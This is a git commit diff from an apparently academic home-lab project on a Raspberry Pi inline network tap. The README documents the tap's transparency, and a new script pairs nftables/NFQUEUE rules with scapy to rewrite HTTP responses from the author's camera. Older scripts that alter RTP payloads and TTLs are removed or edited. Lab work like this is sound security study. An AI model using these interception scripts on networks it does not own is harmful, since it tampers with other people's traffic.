6b
This commit is contained in:
parent
47f34e486b
commit
a13fff1568
3
.gitignore
vendored
3
.gitignore
vendored
@ -1,3 +1,4 @@
|
||||
_*/
|
||||
*bin
|
||||
*pcap
|
||||
*python-netfilterqueue
|
||||
*env
|
||||
|
BIN
final/captures/final_1.pcap
Normal file
BIN
final/captures/final_1.pcap
Normal file
Binary file not shown.
BIN
final/captures/final_2.pcap
Normal file
BIN
final/captures/final_2.pcap
Normal file
Binary file not shown.
@ -117,6 +117,8 @@ To help with validating the transparency of pitap, I have made a few simplificat
|
||||
3) Connected periphrals to the pitap so I can interface with it
|
||||
4) Put the pitap on a dedicated power supply to avoid brownouts
|
||||
|
||||

|
||||
|
||||
#### Pitap adapter info
|
||||
The following `iwconfig -a` shows us the pitap does not have any assigned IP addresses on our network. Aside from a link local Ipv6 assigned to `br0`. I do not fully understand the implication of this, but I do not think it matters. Overall, this is a good sign
|
||||
|
||||
@ -129,7 +131,7 @@ The router admin panel shows us the reolink appears with the expect IP and MAC (
|
||||

|
||||
|
||||
#### Router and ARP table
|
||||
The route table shows that all LAN traffic is itself going through a bridge (`br0`) on the router, which I then assume uses some sort of MAC address table to determine which physical port to communicate on.
|
||||
The route table (on my router) shows that all LAN traffic is itself going through a bridge (`br0`) on the router, which I then assume uses some sort of MAC address table to determine which physical port to communicate on.
|
||||
|
||||
The arp table shows us the IP devices and their associated MAC addresses, and we confirm that none of the MAC addresses associated with the pitap appear here.
|
||||
|
||||
@ -137,11 +139,11 @@ The arp table shows us the IP devices and their associated MAC addresses, and we
|
||||
|
||||
Though things look good, at this point I face a final roadblock in confirming my network tap is transparent. I would like to view the MAC address table/Content Addressable Memory which as I understand would show associations between MAC addresses and physical ports on my router, entirely at the link layer. This table could prove or disprove that the link layer in my router has not 'learned' any MAC address of the pitap and that true transparency is achieved. If it was not, I would go back and re-visit my configuration step.
|
||||
|
||||
The issue is that my lousy ISP provided router does not seem to make viewing this possible, either in the web UI or terminal. The terminal claims to provide the command `brctl` but it is broken and returns no output. The terminal also provides an elevated `sh` command which could possibly help but that is locked down by an unknown password.
|
||||
The issue is that my lousy ISP provided router does not seem to make viewing this possible, either in the web UI or terminal. The terminal claims to provide the command `brctl` but it is broken and returns no output. The terminal also provides an elevated `sh` command which could possibly help but that is locked down by an unknown password. Likewise, reolink does not provide any kind of shell access for me to check its MAC address table.
|
||||
|
||||
The next step would be for me to flash a new firmware like OpenWRT on my router to get this information. I can not do that at this time as I run a game server with active players on my network and any issues with the firmware upgrade risk causing an extended outage or brick my router. When I aquire another router in the future, this upgrade will then be possible.
|
||||
|
||||
In conclusion, I know pitap is transparent at the network layer, and I think it is also transparent at the link layer but I can not prove it.
|
||||
In conclusion, I know pitap is transparent at the network layer, and it may also transparent at the link layer but I can not confirm or deny that.
|
||||
|
||||
#### Connecting to reolink
|
||||
I am able to access the stream again on the reolink with no issues, and video quality appears good. However, we can see that the content bitrate is now lower than before, appering in the range of 1,400 kb/s to 5,500 kb/s with an average of about 3,450 kb/s. This could be because of a bandwidth bottleneck in the pitap, or because now it is dark outside and H.264 can work more efficiently with less color in the image. In this regard I am not sure.
|
||||
@ -187,7 +189,7 @@ Here is a look at `received_file-1.pcap` in wireshark. For this capture, I start
|
||||
|
||||

|
||||
|
||||
*End of stream - This looks ok too, we see the teardown of the RTSP stream. It also seems that APR packets from the pitap wireless interface are making their way back to `br0` through the gateway, which makes some sense in our configuration*
|
||||
*End of stream - This looks ok too, we see the teardown of the RTSP stream. It also seems that APR packets from the pitap wireless interface are making their way back to `br0` through the gateway, which makes sense in our configuration*
|
||||
|
||||
|
||||
|
||||
@ -205,6 +207,28 @@ The result is that for a brief period of the wireshark capture while I have the
|
||||
|
||||

|
||||
|
||||
#### 6b.
|
||||
[`final_1.pcap`](./captures/final_1.pcap) demonstrates the result of this attack.
|
||||
|
||||
#### 6b. HTTP - OK -> NO
|
||||
|
||||
At this point I realize my approach with a simple scapy script is flawed. Sniffing and sending packets with scapy does not actually intercept and modify the packets, and instead it just effectively sends a modified copy of the packet out after the operating system has already sent the original. This was noticed when working with TCP packets because of re-transmission error responses.
|
||||
|
||||
To proceed, I will install `nftables` from `apt`, and `netfilterqueue` from `pip`. `nftables` seems to provide stong capabilities at both layer 2 and 3 traffic, and may help with filtering and queueuing to user space. I first considered just using `ebtables` but queueing traffic to user space with that was not non-trivial
|
||||
|
||||
I want to modify HTTP responses, so I will use the following `nftables` rules (created with the `nft` utility) to place the packets we want to modify into a user space queue (`NFQUEUE`). Then, a python script can accesses, modify, and explicitly send them
|
||||
|
||||
```bash
|
||||
sudo nft add table bridge filter
|
||||
sudo nft add rule bridge filter forward ip protocol tcp tcp sport 80 queue num 0
|
||||
```
|
||||

|
||||
|
||||
Then, I wrote the script found in [`http.py`](./scripts/http.py). This script combines `netfilterqueue` to get/send the packets from the nftable queue, and `scapy` to modify them. This was difficult to get working due to python version issues (some pi bookworm specific), pip issues with the no-longer-maintained `netfilterqueue` as well as just figuring out the script (like knowing to delete the checksums in the ip and tcp layer). For that reason, this 'attack' is pretty simple and all we do is change 'OK' to 'NO' in http resposes from the reolink web server with status code 200.
|
||||
|
||||
However, it did work
|
||||
|
||||

|
||||
|
||||
See [final_2.pcap](./captures/final_2.pcap)
|
||||
|
||||
#### 6c.
|
BIN
final/photos/attack/http.png
Normal file
BIN
final/photos/attack/http.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 348 KiB |
BIN
final/photos/attack/nftables.png
Normal file
BIN
final/photos/attack/nftables.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 12 KiB |
@ -1,3 +1,4 @@
|
||||
#Created with some assitance from ChatGPT for event handling mechanism
|
||||
import os
|
||||
import signal
|
||||
import sys
|
||||
@ -40,7 +41,6 @@ def capture_traffic(interface, ip='192.168.0.56', port=5000):
|
||||
print(f"Sent {filename} to {ip}:{port}")
|
||||
|
||||
while not stop_event.is_set():
|
||||
start_time = time.time()
|
||||
filename = create_filename(interface)
|
||||
packets = sniff(iface=interface, timeout=30*1, stop_filter=lambda x: stop_event.is_set())
|
||||
save_packets(packets, filename)
|
||||
|
36
final/scripts/http.py
Normal file
36
final/scripts/http.py
Normal file
@ -0,0 +1,36 @@
|
||||
from netfilterqueue import NetfilterQueue, Packet as NFQPacket
|
||||
from scapy.all import IP, TCP, Packet as SPacket, Raw, Ether, send
|
||||
# from scapy.layers.ipsec import IP
|
||||
from scapy.layers.http import HTTPResponse, HTTP
|
||||
|
||||
def process_packet(nfqpacket: NFQPacket):
|
||||
scapy_packet: SPacket = IP(nfqpacket.get_payload())
|
||||
if scapy_packet.haslayer(IP) and scapy_packet.haslayer(TCP) and scapy_packet.haslayer(HTTP) and scapy_packet.haslayer(HTTPResponse):
|
||||
if scapy_packet[IP][TCP][HTTP][HTTPResponse].fields['Status_Code'] == b'200':
|
||||
print(f"Original Packet: {scapy_packet.summary()}")
|
||||
|
||||
new_packet: SPacket = IP(scapy_packet.build().replace(b'OK',b'NO'))
|
||||
|
||||
del new_packet[IP].chksum
|
||||
del new_packet[TCP].chksum
|
||||
|
||||
print(f"Modified Packet: {new_packet.summary()}")
|
||||
print()
|
||||
|
||||
nfqpacket.set_payload(new_packet.build())
|
||||
nfqpacket.accept()
|
||||
|
||||
def main():
|
||||
nfqueue = NetfilterQueue()
|
||||
nfqueue.bind(0, process_packet)
|
||||
|
||||
try:
|
||||
print("Binding to NFQUEUE 0...")
|
||||
nfqueue.run()
|
||||
except KeyboardInterrupt:
|
||||
print("Stopping...")
|
||||
finally:
|
||||
nfqueue.unbind()
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
@ -1,65 +0,0 @@
|
||||
import sys
|
||||
from scapy.all import sniff, send, IP, IPv6, Packet, Raw, Ether, sendp, base64_bytes, hex_bytes,bytes_base64
|
||||
from scapy.layers.inet import UDP
|
||||
from scapy.layers.rtp import RTP, bind_layers
|
||||
from datetime import datetime
|
||||
|
||||
def invert_byte(byte):
|
||||
return ~byte & 0xFF
|
||||
|
||||
def modify_packet(packet: Packet):
|
||||
global modifications
|
||||
global seen
|
||||
|
||||
|
||||
udp: Packet = packet[UDP]
|
||||
# udp.show()
|
||||
if RTP in udp:
|
||||
rtp: Packet = udp[RTP]
|
||||
# load: bytes = rtp.load
|
||||
if rtp.payload_type == 96:
|
||||
print("96")
|
||||
# payload: bytes = rtp.payload.load
|
||||
# pretty = bytes_base64(payload)
|
||||
# print(payload)
|
||||
# hex: str = payload.hex()
|
||||
# new_hex = hex[::-1]
|
||||
# print(hex)
|
||||
# print()
|
||||
# print(new_hex)
|
||||
# print(type(new_payload))
|
||||
# rtp.payload = Raw(hex_bytes(new_hex))
|
||||
original_payload = bytes(rtp.payload)
|
||||
new_payload_hex = "deadbeef" # New payload in hex format
|
||||
new_payload = bytes.fromhex(new_payload_hex)
|
||||
rtp.payload = Raw(new_payload)
|
||||
udp.len = len(udp)
|
||||
udp.chksum = None # Recalculate checksum
|
||||
# payload[6] = invert_byte(payload[6])
|
||||
else:
|
||||
print('npe')
|
||||
|
||||
|
||||
|
||||
seen += 1
|
||||
sendp(packet, iface=sys.argv[1])
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
modifications = 0
|
||||
seen = 0
|
||||
if len(sys.argv) != 2:
|
||||
print(f"Usage: {sys.argv[0]} <interface>")
|
||||
sys.exit(1)
|
||||
|
||||
interface = sys.argv[1]
|
||||
|
||||
start_time = datetime.now()
|
||||
print(f"Script started at: {start_time.strftime('%Y-%m-%d %H:%M:%S')}")
|
||||
bind_layers(UDP, RTP, sport=6970)
|
||||
packets = sniff(filter="udp port 6970", iface=interface, timeout=60*1, prn=modify_packet)
|
||||
|
||||
end_time = datetime.now()
|
||||
print(f"Script ended at: {end_time.strftime('%Y-%m-%d %H:%M:%S')}")
|
||||
print(f"{modifications} ip(v6) packets modified")
|
||||
print(f"{seen} total ip(v6) packets seen")
|
@ -1,12 +1,15 @@
|
||||
import sys
|
||||
from scapy.all import sniff, send, IP, IPv6, Packet, Raw, Ether, sendp
|
||||
from scapy.all import sniff, send, IP, IPv6, TCP, Packet, Raw, Ether, sendp, wrpcap, PacketList, HTTPResponse
|
||||
from datetime import datetime
|
||||
|
||||
def save_packets(packets, filename):
|
||||
wrpcap(filename, packets)
|
||||
print(f"Saved {len(packets)} packets to {filename}")
|
||||
|
||||
def modify_packet(packet: Packet):
|
||||
global modifications
|
||||
global seen
|
||||
if packet.haslayer(IP):
|
||||
if packet.haslayer(IP) and packet.haslayer(TCP) and packet.haslayer(HTTPResponse):
|
||||
if packet[IP].ttl != 65:
|
||||
packet[IP].ttl = 65
|
||||
modifications += 1
|
||||
@ -16,7 +19,7 @@ def modify_packet(packet: Packet):
|
||||
modifications += 1
|
||||
seen += 1
|
||||
#Can be extented with other protocols which have TTL
|
||||
sendp(packet, iface=sys.argv[1])
|
||||
sendp(packet, iface='eth0')
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
@ -31,8 +34,8 @@ if __name__ == "__main__":
|
||||
start_time = datetime.now()
|
||||
print(f"Script started at: {start_time.strftime('%Y-%m-%d %H:%M:%S')}")
|
||||
|
||||
packets = sniff(filter="ip or ip6", iface=interface, timeout=2.5*1, prn=modify_packet)
|
||||
|
||||
packets: PacketList = sniff(filter="ip or ip6", iface='eth1', timeout=5*1, prn=modify_packet)
|
||||
# save_packets(packets, "final_1.pcap")
|
||||
end_time = datetime.now()
|
||||
print(f"Script ended at: {end_time.strftime('%Y-%m-%d %H:%M:%S')}")
|
||||
print(f"{modifications} ip(v6) packets modified")
|
||||
|
Reference in New Issue
Block a user